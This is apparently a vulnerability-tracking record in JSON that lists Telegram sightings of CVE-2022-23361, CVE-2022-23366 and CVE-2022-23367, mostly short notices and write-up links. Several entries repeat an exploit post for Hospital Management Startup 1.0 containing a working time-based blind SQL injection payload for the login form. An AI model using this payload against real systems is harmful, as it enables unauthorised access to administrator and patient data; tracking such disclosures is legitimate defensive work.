{"vulnerability": "cve-2022-2336", "sightings": [{"uuid": "02e3f7bc-4f14-461b-bc79-518fe6b41ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1563", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-23361\nURL\uff1ahttps://github.com/ComparedArray/printix-CVE-2022-25089", "creation_timestamp": "2023-01-19T04:51:48.000000Z"}, {"uuid": "4c4e7c37-b116-4d6c-9568-18554883adf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1562", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-23361\nURL\uff1ahttps://github.com/ViNi0608/CVE-2022-23361", "creation_timestamp": "2022-03-01T17:58:51.000000Z"}, {"uuid": "78bf36a0-5171-41f2-ac54-fed6ecb74a29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1561", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-23361\nURL\uff1ahttps://github.com/ViNi0608/ViNi0608", "creation_timestamp": "2022-03-01T17:54:31.000000Z"}, {"uuid": "12025536-21c3-4705-befb-e1ceb7f127bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23367", "type": "seen", "source": "https://t.me/cibsecurity/37436", "content": "\u203c CVE-2022-23367 \u203c\n\nFulusso v1.1 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability in /BindAccount/SuccessTips.js. This vulnerability allows attackers to inject malicious code into a victim user's device via open redirection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-14T20:32:55.000000Z"}, {"uuid": "7daeb54a-f155-4223-ad65-7788c99d83b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23366", "type": "seen", "source": "https://t.me/cibsecurity/36087", "content": "\u203c CVE-2022-23366 \u203c\n\nHMS v1.0 was discovered to contain a SQL injection vulnerability via patientlogin.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-22T02:15:33.000000Z"}, {"uuid": "8ca92dbe-1eb8-45fa-8d2e-5cce5cf2ea41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23366", "type": "seen", "source": "https://t.me/hacking_Attack/42384", "content": "Exploit Collector\nHospital Management Startup 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nHospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | b58e6761039ae3e688db4b3b03140ee3\n\nDownload\n## Title: Hospital Management Startup v1.0 remote SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.10.2022\n## Vendor: https://github.com/kabirkhyrul\n## Software: https://github.com/kabirkhyrul/HMS\n## CVE-2022-23366\n\n## Description:\nThe loginid and password parameters from Hospital Management Startup\n1.0 appear to be vulnerable to SQL injection attacks.\nThe attacker can retrieve all information from the administrator\naccount of the system and he can use the information for malicious\npurposes!\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\n\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: loginid (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: loginid=hackedpassword=hacked' or '6681'='6681' AND\n(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND\n'sDHP'='sDHP&rememberme=on&submit=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)\n\n## Proof and Exploit:\n[href](https://streamable.com/hri9eo)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:56.198240Z"}, {"uuid": "76772b21-c184-4651-a82a-dcfc5508851a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "seen", "source": "https://t.me/hacking_Attack/69488", "content": "Hello hackers, hope you guys are doing well and hunting lots of bugs. This is gonna be my first write-up, as the title says I will tell\u2026Continue reading on Medium \u00bb (https://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:23.001165Z"}, {"uuid": "0231587c-d523-4dd0-afc9-1eb95497fb00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "seen", "source": "https://t.me/hacking_Attack/69486", "content": "Story of a reserved CVE-2022\u201323361\nhttps://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:22.957301Z"}, {"uuid": "dd942ff7-5676-4b5c-9597-f81c017e99d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "seen", "source": "https://t.me/hacking_Attack/69486", "content": "Story of a reserved CVE-2022\u201323361\nhttps://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:38.271243Z"}, {"uuid": "dd6ca711-76cd-4a80-946a-5bb1c47631c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "seen", "source": "https://t.me/hacking_Attack/69488", "content": "Hello hackers, hope you guys are doing well and hunting lots of bugs. This is gonna be my first write-up, as the title says I will tell\u2026Continue reading on Medium \u00bb (https://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:38.313939Z"}, {"uuid": "c4f7dadb-46fb-4145-b8aa-b5a3231379c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23366", "type": "seen", "source": "https://t.me/hacking_Attack/42384", "content": "Exploit Collector\nHospital Management Startup 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nHospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | b58e6761039ae3e688db4b3b03140ee3\n\nDownload\n## Title: Hospital Management Startup v1.0 remote SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.10.2022\n## Vendor: https://github.com/kabirkhyrul\n## Software: https://github.com/kabirkhyrul/HMS\n## CVE-2022-23366\n\n## Description:\nThe loginid and password parameters from Hospital Management Startup\n1.0 appear to be vulnerable to SQL injection attacks.\nThe attacker can retrieve all information from the administrator\naccount of the system and he can use the information for malicious\npurposes!\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\n\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: loginid (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: loginid=hackedpassword=hacked' or '6681'='6681' AND\n(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND\n'sDHP'='sDHP&rememberme=on&submit=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)\n\n## Proof and Exploit:\n[href](https://streamable.com/hri9eo)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:16.071904Z"}, {"uuid": "9a2783ab-a0fe-4ed0-afed-724aaa87415d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/69488", "content": "Hello hackers, hope you guys are doing well and hunting lots of bugs. This is gonna be my first write-up, as the title says I will tell\u2026Continue reading on Medium \u00bb (https://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T09:00:05.613079Z"}, {"uuid": "3cbe807f-651f-4880-b4ec-46cc30a38041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/69486", "content": "Story of a reserved CVE-2022\u201323361\nhttps://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T09:00:05.661189Z"}, {"uuid": "2bdbe733-e60a-45a1-8308-7539dd99fd02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/69488", "content": "Hello hackers, hope you guys are doing well and hunting lots of bugs. This is gonna be my first write-up, as the title says I will tell\u2026Continue reading on Medium \u00bb (https://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:52.556768Z"}, {"uuid": "1d074037-704f-4ccf-bad1-db631fb2ff02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23361", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/69486", "content": "Story of a reserved CVE-2022\u201323361\nhttps://vineet08.medium.com/cve-2022-23361-2c81d836c6fe?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:52.604905Z"}, {"uuid": "5a841d72-96dd-4558-b780-fc2c0559cb74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23366", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42384", "content": "Exploit Collector\nHospital Management Startup 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nHospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | b58e6761039ae3e688db4b3b03140ee3\n\nDownload\n## Title: Hospital Management Startup v1.0 remote SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.10.2022\n## Vendor: https://github.com/kabirkhyrul\n## Software: https://github.com/kabirkhyrul/HMS\n## CVE-2022-23366\n\n## Description:\nThe loginid and password parameters from Hospital Management Startup\n1.0 appear to be vulnerable to SQL injection attacks.\nThe attacker can retrieve all information from the administrator\naccount of the system and he can use the information for malicious\npurposes!\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\n\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: loginid (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: loginid=hackedpassword=hacked' or '6681'='6681' AND\n(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND\n'sDHP'='sDHP&rememberme=on&submit=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)\n\n## Proof and Exploit:\n[href](https://streamable.com/hri9eo)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T10:00:07.699143Z"}, {"uuid": "0ec5f901-7395-4fad-9b81-9230a137f8e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23366", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42384", "content": "Exploit Collector\nHospital Management Startup 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nHospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | b58e6761039ae3e688db4b3b03140ee3\n\nDownload\n## Title: Hospital Management Startup v1.0 remote SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.10.2022\n## Vendor: https://github.com/kabirkhyrul\n## Software: https://github.com/kabirkhyrul/HMS\n## CVE-2022-23366\n\n## Description:\nThe loginid and password parameters from Hospital Management Startup\n1.0 appear to be vulnerable to SQL injection attacks.\nThe attacker can retrieve all information from the administrator\naccount of the system and he can use the information for malicious\npurposes!\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\n\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: loginid (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: loginid=hackedpassword=hacked' or '6681'='6681' AND\n(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND\n'sDHP'='sDHP&rememberme=on&submit=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)\n\n## Proof and Exploit:\n[href](https://streamable.com/hri9eo)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:24.448800Z"}]}